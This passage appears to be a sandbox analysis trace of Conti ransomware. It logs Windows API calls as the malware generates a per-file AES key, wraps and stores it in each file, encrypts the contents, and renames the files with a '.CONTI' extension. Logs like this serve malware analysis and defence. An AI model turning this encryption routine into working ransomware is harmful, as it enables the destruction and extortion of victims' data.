	[0103.773] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.Word.Word.x-none.msi.16.x-none.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.word.word.x-none.msi.16.x-none.xml.conti")) returned 1
	[0103.773] GetProcessHeap () returned 0x1720000
	[0103.773] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6555f58 | out: hHeap=0x1720000) returned 1
	[0103.773] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0103.773] GetProcessHeap () returned 0x1720000
	[0103.773] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e5e08 | out: hHeap=0x1720000) returned 1
	[0103.773] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0103.774] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d8fa8 | out: phKey=0x17d8fa8*=0x17c7f70) returned 1
	[0103.774] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d8fac, pdwDataLen=0x4fbf86c | out: pbData=0x17d8fac*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0103.774] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml")) returned 0x20
	[0103.778] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0103.779] GetLastError () returned 0x0
	[0103.779] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=78078) returned 1
	[0103.779] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x130fe
	[0103.779] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x226, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.779] SetEndOfFile (hFile=0x2f8) returned 1
	[0103.787] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.787] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.787] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d8fac*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d8fac*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0103.797] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.797] ReadFile (in: hFile=0x2f8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x130fe, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x130fe, lpOverlapped=0x0) returned 1
	[0103.798] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x130fe, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x13100) returned 1
	[0103.798] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.798] WriteFile (in: hFile=0x2f8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x13100, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x13100, lpOverlapped=0x0) returned 1
	[0103.799] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.799] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d8fa0*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d8fa0*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0103.799] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.799] CloseHandle (hObject=0x2f8) returned 1
	[0103.799] GetProcessHeap () returned 0x1720000
	[0103.799] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fa408
	[0103.799] lstrcpyW (in: lpString1=0x17fa408, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml"
	[0103.799] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.CONTI"
	[0103.799] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\C2RManifest.wordmui.msi.16.en-us.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\c2rmanifest.wordmui.msi.16.en-us.xml.conti")) returned 1
	[0103.808] GetProcessHeap () returned 0x1720000
	[0103.808] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa408 | out: hHeap=0x1720000) returned 1
	[0103.808] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0103.808] GetProcessHeap () returned 0x1720000
	[0103.808] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17d12f8 | out: hHeap=0x1720000) returned 1
	[0103.808] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0103.808] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d6698 | out: phKey=0x17d6698*=0x17c7f70) returned 1
	[0103.808] CryptExportKey (in: hKey=0x17c7f70, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d669c, pdwDataLen=0x4fbf86c | out: pbData=0x17d669c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0103.809] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man")) returned 0x20
	[0103.816] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x2f8
	[0103.816] GetLastError () returned 0x0
	[0103.816] GetFileSizeEx (in: hFile=0x2f8, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=638429) returned 1
	[0103.816] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x9bddd
	[0103.816] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x227, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.816] SetEndOfFile (hFile=0x2f8) returned 1
	[0103.823] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.823] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.823] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d669c*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d669c*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0103.825] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.825] ReadFile (in: hFile=0x2f8, lpBuffer=0xe980000, nNumberOfBytesToRead=0x9bddd, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x9bddd, lpOverlapped=0x0) returned 1
	[0103.830] CryptEncrypt (in: hKey=0x17c7f70, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x9bddd, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x9bde0) returned 1
	[0103.830] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0103.831] WriteFile (in: hFile=0x2f8, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x9bde0, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x9bde0, lpOverlapped=0x0) returned 1
	[0103.832] SetFilePointerEx (in: hFile=0x2f8, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0103.832] WriteFile (in: hFile=0x2f8, lpBuffer=0x17d6690*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d6690*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0103.832] SetFilePointer (in: hFile=0x2f8, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0103.832] CloseHandle (hObject=0x2f8) returned 1
	[0103.832] GetProcessHeap () returned 0x1720000
	[0103.832] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x17fa408
	[0103.833] lstrcpyW (in: lpString1=0x17fa408, lpString2="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man"
	[0103.833] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.CONTI") returned="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.CONTI"
	[0103.833] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man"), lpNewFileName="C:\\ProgramData\\Microsoft\\ClickToRun\\{9AC08E99-230B-47e8-9721-4577B7F124EA}\\wordEtw.man.CONTI" (normalized: "c:\\programdata\\microsoft\\clicktorun\\{9ac08e99-230b-47e8-9721-4577b7f124ea}\\wordetw.man.conti")) returned 1
	[0103.834] GetProcessHeap () returned 0x1720000
	[0103.834] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17fa408 | out: hHeap=0x1720000) returned 1
	[0103.834] CryptDestroyKey (hKey=0x17c7f70) returned 1
	[0103.834] GetProcessHeap () returned 0x1720000
	[0103.834] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17c0310 | out: hHeap=0x1720000) returned 1
	[0103.834] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0104.236] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d61e0 | out: phKey=0x17d61e0*=0x17c8430) returned 1
	[0104.236] CryptExportKey (in: hKey=0x17c8430, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d61e4, pdwDataLen=0x4fbf86c | out: pbData=0x17d61e4*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0104.237] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png")) returned 0x20
	[0104.237] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Device Stage\\Device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png" (normalized: "c:\\programdata\\microsoft\\device stage\\device\\{113527a4-45d4-4b6f-b567-97838f1b04b0}\\overlay.png"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0104.237] GetLastError () returned 0x5
	[0104.237] CryptDestroyKey (hKey=0x17c8430) returned 1
	[0104.237] GetProcessHeap () returned 0x1720000
	[0104.237] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6510208 | out: hHeap=0x1720000) returned 1
	[0104.237] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0105.002] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d2448 | out: phKey=0x17d2448*=0x17c80b0) returned 1
	[0105.002] CryptExportKey (in: hKey=0x17c80b0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d244c, pdwDataLen=0x4fbf86c | out: pbData=0x17d244c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0105.003] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_costdeferred.rbs")) returned 0x20
	[0105.003] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\Events_CostDeferred.rbs" (normalized: "c:\\programdata\\microsoft\\diagnosis\\events_costdeferred.rbs"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.003] GetLastError () returned 0x5
	[0105.003] CryptDestroyKey (hKey=0x17c80b0) returned 1
	[0105.003] GetProcessHeap () returned 0x1720000
	[0105.003] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17e41d8 | out: hHeap=0x1720000) returned 1
	[0105.003] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0105.427] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d2d68 | out: phKey=0x17d2d68*=0x17c8270) returned 1
	[0105.427] CryptExportKey (in: hKey=0x17c8270, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2d6c, pdwDataLen=0x4fbf86c | out: pbData=0x17d2d6c*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0105.427] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml")) returned 0x20
	[0105.428] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Diagnosis\\SoftLanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml" (normalized: "c:\\programdata\\microsoft\\diagnosis\\softlanding\\acae4208-0ac4-4ef7-ac45-bb688b09e559_show.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0xffffffff
	[0105.428] GetLastError () returned 0x5
	[0105.428] CryptDestroyKey (hKey=0x17c8270) returned 1
	[0105.428] GetProcessHeap () returned 0x1720000
	[0105.428] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x17cb508 | out: hHeap=0x1720000) returned 1
	[0105.428] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0106.370] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d5430 | out: phKey=0x17d5430*=0x17c8230) returned 1
	[0106.370] CryptExportKey (in: hKey=0x17c8230, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d5434, pdwDataLen=0x4fbf86c | out: pbData=0x17d5434*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0106.371] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml")) returned 0x20
	[0106.379] CreateFileW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x398
	[0106.379] GetLastError () returned 0x0
	[0106.379] GetFileSizeEx (in: hFile=0x398, lpFileSize=0x4fbf818 | out: lpFileSize=0x4fbf818*=271) returned 1
	[0106.379] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x2 | out: lpDistanceToMoveHigh=0x0) returned 0x10f
	[0106.379] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x225, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.379] SetEndOfFile (hFile=0x398) returned 1
	[0106.384] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.384] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffdec, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.385] WriteFile (in: hFile=0x398, lpBuffer=0x17d5434*, nNumberOfBytesToWrite=0x20c, lpNumberOfBytesWritten=0x4fbf824, lpOverlapped=0x0 | out: lpBuffer=0x17d5434*, lpNumberOfBytesWritten=0x4fbf824*=0x20c, lpOverlapped=0x0) returned 1
	[0106.387] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.387] ReadFile (in: hFile=0x398, lpBuffer=0xe980000, nNumberOfBytesToRead=0x10f, lpNumberOfBytesRead=0x4fbf844, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesRead=0x4fbf844*=0x10f, lpOverlapped=0x0) returned 1
	[0106.387] CryptEncrypt (in: hKey=0x17c8230, hHash=0x0, Final=1, dwFlags=0x0, pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x10f, dwBufLen=0x500000 | out: pbData=0xe980000*, pdwDataLen=0x4fbf83c*=0x110) returned 1
	[0106.387] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x0 | out: lpNewFilePointer=0x0) returned 1
	[0106.387] WriteFile (in: hFile=0x398, lpBuffer=0xe980000*, nNumberOfBytesToWrite=0x110, lpNumberOfBytesWritten=0x4fbf858, lpOverlapped=0x0 | out: lpBuffer=0xe980000*, lpNumberOfBytesWritten=0x4fbf858*=0x110, lpOverlapped=0x0) returned 1
	[0106.387] SetFilePointerEx (in: hFile=0x398, liDistanceToMove=0xfffffff8, lpNewFilePointer=0xffffffff, dwMoveMethod=0x0 | out: lpNewFilePointer=0xffffffff) returned 1
	[0106.387] WriteFile (in: hFile=0x398, lpBuffer=0x17d5428*, nNumberOfBytesToWrite=0x8, lpNumberOfBytesWritten=0x4fbf870, lpOverlapped=0x0 | out: lpBuffer=0x17d5428*, lpNumberOfBytesWritten=0x4fbf870*=0x8, lpOverlapped=0x0) returned 1
	[0106.387] SetFilePointer (in: hFile=0x398, lDistanceToMove=0, lpDistanceToMoveHigh=0x0, dwMoveMethod=0x0 | out: lpDistanceToMoveHigh=0x0) returned 0x0
	[0106.387] CloseHandle (hObject=0x398) returned 1
	[0106.387] GetProcessHeap () returned 0x1720000
	[0106.387] RtlAllocateHeap (HeapHandle=0x1720000, Flags=0x8, Size=0x7fd7) returned 0x6585ee0
	[0106.387] lstrcpyW (in: lpString1=0x6585ee0, lpString2="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml"
	[0106.388] lstrcatW (in: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml", lpString2=".CONTI" | out: lpString1="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.CONTI") returned="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.CONTI"
	[0106.388] MoveFileW (lpExistingFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml"), lpNewFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\MasterDatastore.xml.CONTI" (normalized: "c:\\programdata\\microsoft\\provisioning\\{18dcffd4-37d6-4bc6-87e0-4266fdbb8e49}\\masterdatastore.xml.conti")) returned 1
	[0106.388] GetProcessHeap () returned 0x1720000
	[0106.388] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x6585ee0 | out: hHeap=0x1720000) returned 1
	[0106.388] CryptDestroyKey (hKey=0x17c8230) returned 1
	[0106.388] GetProcessHeap () returned 0x1720000
	[0106.388] HeapFree (in: hHeap=0x1720000, dwFlags=0x0, lpMem=0x181cfc8 | out: hHeap=0x1720000) returned 1
	[0106.388] GetQueuedCompletionStatus (in: CompletionPort=0x1b0, lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8, dwMilliseconds=0xffffffff | out: lpNumberOfBytesTransferred=0x4fbf898, lpCompletionKey=0x4fbf89c, lpOverlapped=0x4fbf8a8) returned 1
	[0106.397] CryptGenKey (in: hProv=0x176c238, Algid=0x6610, dwFlags=0x1, phKey=0x17d2b20 | out: phKey=0x17d2b20*=0x17c84f0) returned 1
	[0106.397] CryptExportKey (in: hKey=0x17c84f0, hExpKey=0x175dcf0, dwBlobType=0x1, dwFlags=0x0, pbData=0x17d2b24, pdwDataLen=0x4fbf86c | out: pbData=0x17d2b24*, pdwDataLen=0x4fbf86c*=0x20c) returned 1
	[0106.397] GetFileAttributesW (lpFileName="C:\\ProgramData\\Microsoft\\Provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\Prov\\RunTime\\0__Power_Controls.provxml" (normalized: "c:\\programdata\\microsoft\\provisioning\\{1e05dd5d-a022-46c5-963c-b20de341170f}\\prov\\runtime\\0__power_controls.provxml")) returned 0x20
